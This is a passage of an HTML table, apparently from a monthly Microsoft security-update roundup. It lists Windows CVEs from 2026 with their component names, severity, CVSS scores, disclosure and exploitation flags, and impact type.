  <td class="xl68">Important</td>
  <td class="xl69">4.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50462"><span>CVE-2026-50462</span></a></td>
  <td width="256" class="xl74">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57093"><span>CVE-2026-57093</span></a></td>
  <td width="256" class="xl74">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34346"><span>CVE-2026-34346</span></a></td>
  <td width="256" class="xl74">Windows Ancillary
  Function Driver for WinSock Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48572"><span>CVE-2026-48572</span></a></td>
  <td width="256" class="xl74">Windows App Package
  Installer Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48571"><span>CVE-2026-48571</span></a></td>
  <td width="256" class="xl74">Windows App Package
  Installer Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50400"><span>CVE-2026-50400</span></a></td>
  <td width="256" class="xl74">Windows App Package
  Installer Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50331"><span>CVE-2026-50331</span></a></td>
  <td width="256" class="xl74">Windows Application
  Model Core API Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49803"><span>CVE-2026-49803</span></a></td>
  <td width="256" class="xl74">Windows AppX
  Deployment Extensions Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50351"><span>CVE-2026-50351</span></a></td>
  <td width="256" class="xl74">Windows Audio
  Compression Manager (ACM) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50440"><span>CVE-2026-50440</span></a></td>
  <td width="256" class="xl74">Windows Audio Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34328"><span>CVE-2026-34328</span></a></td>
  <td width="256" class="xl74">Windows Audio Service
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50406"><span>CVE-2026-50406</span></a></td>
  <td width="256" class="xl74">Windows Backup Engine
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50364"><span>CVE-2026-50364</span></a></td>
  <td width="256" class="xl74">Windows Backup Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42975"><span>CVE-2026-42975</span></a></td>
  <td width="256" class="xl74">Windows Bluetooth Port
  Driver Remote Code Execution</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58538"><span>CVE-2026-58538</span></a></td>
  <td width="256" class="xl74">Windows Bluetooth
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58638"><span>CVE-2026-58638</span></a></td>
  <td width="256" class="xl74">Windows Boot Loader
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58637"><span>CVE-2026-58637</span></a></td>
  <td width="256" class="xl74">Windows Client-Side
  Caching Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50384"><span>CVE-2026-50384</span></a></td>
  <td width="256" class="xl74">Windows Clip Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49183"><span>CVE-2026-49183</span></a></td>
  <td width="256" class="xl74">Windows Clipboard
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50689"><span>CVE-2026-50689</span></a></td>
  <td width="256" class="xl74">Windows Clipboard
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50374"><span>CVE-2026-50374</span></a></td>
  <td width="256" class="xl74">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58536"><span>CVE-2026-58536</span></a></td>
  <td width="256" class="xl74">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58613"><span>CVE-2026-58613</span></a></td>
  <td width="256" class="xl74">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50401"><span>CVE-2026-50401</span></a></td>
  <td width="256" class="xl74">Windows Cloud Files
  Mini Filter Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50697"><span>CVE-2026-50697</span></a></td>
  <td width="256" class="xl74">Windows Common Log
  File System Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50667"><span>CVE-2026-50667</span></a></td>
  <td width="256" class="xl74">Windows Common Log
  File System Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50421"><span>CVE-2026-50421</span></a></td>
  <td width="256" class="xl74">Windows Connected User
  Experiences and Telemetry Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50428"><span>CVE-2026-50428</span></a></td>
  <td width="256" class="xl74">Windows Container
  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50352"><span>CVE-2026-50352</span></a></td>
  <td width="256" class="xl74">Windows Cryptographic
  Services Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50302"><span>CVE-2026-50302</span></a></td>
  <td width="256" class="xl74">Windows Cryptographic
  Services Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55144"><span>CVE-2026-55144</span></a></td>
  <td width="256" class="xl74">Windows Cryptography
  API: Next Generation (CNG) Tampering Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50347"><span>CVE-2026-50347</span></a></td>
  <td width="256" class="xl74">Windows Data.dll
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49181"><span>CVE-2026-49181</span></a></td>
  <td width="256" class="xl74">Windows DHCP Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50683"><span>CVE-2026-50683</span></a></td>
  <td width="256" class="xl74">Windows DHCP Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58627"><span>CVE-2026-58627</span></a></td>
  <td width="256" class="xl74">Windows DHCP Server
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50685"><span>CVE-2026-50685</span></a></td>
  <td width="256" class="xl74">Windows DHCP Server
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49807"><span>CVE-2026-49807</span></a></td>
  <td width="256" class="xl74">Windows DirectX
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49175"><span>CVE-2026-49175</span></a></td>
  <td width="256" class="xl74">Windows DNS Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50487"><span>CVE-2026-50487</span></a></td>
  <td width="256" class="xl74">Windows DNS Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50465"><span>CVE-2026-50465</span></a></td>
  <td width="256" class="xl74">Windows DNS Client
  Tampering Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49169"><span>CVE-2026-49169</span></a></td>
  <td width="256" class="xl74">Windows DNS Server
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50426"><span>CVE-2026-50426</span></a></td>
  <td width="256" class="xl74">Windows DNS Server
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50424"><span>CVE-2026-50424</span></a></td>
  <td width="256" class="xl74">Windows Domain
  Controller Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50300"><span>CVE-2026-50300</span></a></td>
  <td width="256" class="xl74">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50437"><span>CVE-2026-50437</span></a></td>
  <td width="256" class="xl74">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34348"><span>CVE-2026-34348</span></a></td>
  <td width="256" class="xl74">Windows Event Logging
  Service Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50502"><span>CVE-2026-50502</span></a></td>
  <td width="256" class="xl74">Windows Event Logging
  Service Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33842"><span>CVE-2026-33842</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40422"><span>CVE-2026-40422</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41087"><span>CVE-2026-41087</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50473"><span>CVE-2026-50473</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50442"><span>CVE-2026-50442</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50389"><span>CVE-2026-50389</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50456"><span>CVE-2026-50456</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57084"><span>CVE-2026-57084</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57091"><span>CVE-2026-57091</span></a></td>
  <td width="256" class="xl74">Windows File History
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50405"><span>CVE-2026-50405</span></a></td>
  <td width="256" class="xl74">Windows Filtering
  Platform Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49172"><span>CVE-2026-49172</span></a></td>
  <td width="256" class="xl74">Windows FTP Service
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50387"><span>CVE-2026-50387</span></a></td>
  <td width="256" class="xl74">Windows GDI Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54122"><span>CVE-2026-54122</span></a></td>
  <td width="256" class="xl74">Windows GDI+ Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50483"><span>CVE-2026-50483</span></a></td>
  <td width="256" class="xl74">Windows Graphics
  Component Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58609"><span>CVE-2026-58609</span></a></td>
  <td width="256" class="xl74">Windows Graphics
  Component Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50391"><span>CVE-2026-50391</span></a></td>
  <td width="256" class="xl74">Windows Group Policy
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50310"><span>CVE-2026-50310</span></a></td>
  <td width="256" class="xl74">Windows Human
  Interface Device Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50485"><span>CVE-2026-50485</span></a></td>
  <td width="256" class="xl74">Windows Hyper-V Denial
  of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54129"><span>CVE-2026-54129</span></a></td>
  <td width="256" class="xl74">Windows Hyper-V
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50315"><span>CVE-2026-50315</span></a></td>
  <td width="256" class="xl74">Windows Image
  Acquisition Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58534"><span>CVE-2026-58534</span></a></td>
  <td width="256" class="xl74">Windows Input Method
  Editor (IME) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50490"><span>CVE-2026-50490</span></a></td>
  <td width="256" class="xl74">Windows Installer
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58540"><span>CVE-2026-58540</span></a></td>
  <td width="256" class="xl74">Windows Installer
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50425"><span>CVE-2026-50425</span></a></td>
  <td width="256" class="xl74">Windows Internal
  System User Profile Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50293"><span>CVE-2026-50293</span></a></td>
  <td width="256" class="xl74">Windows Internal Task
  Bar Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49167"><span>CVE-2026-49167</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
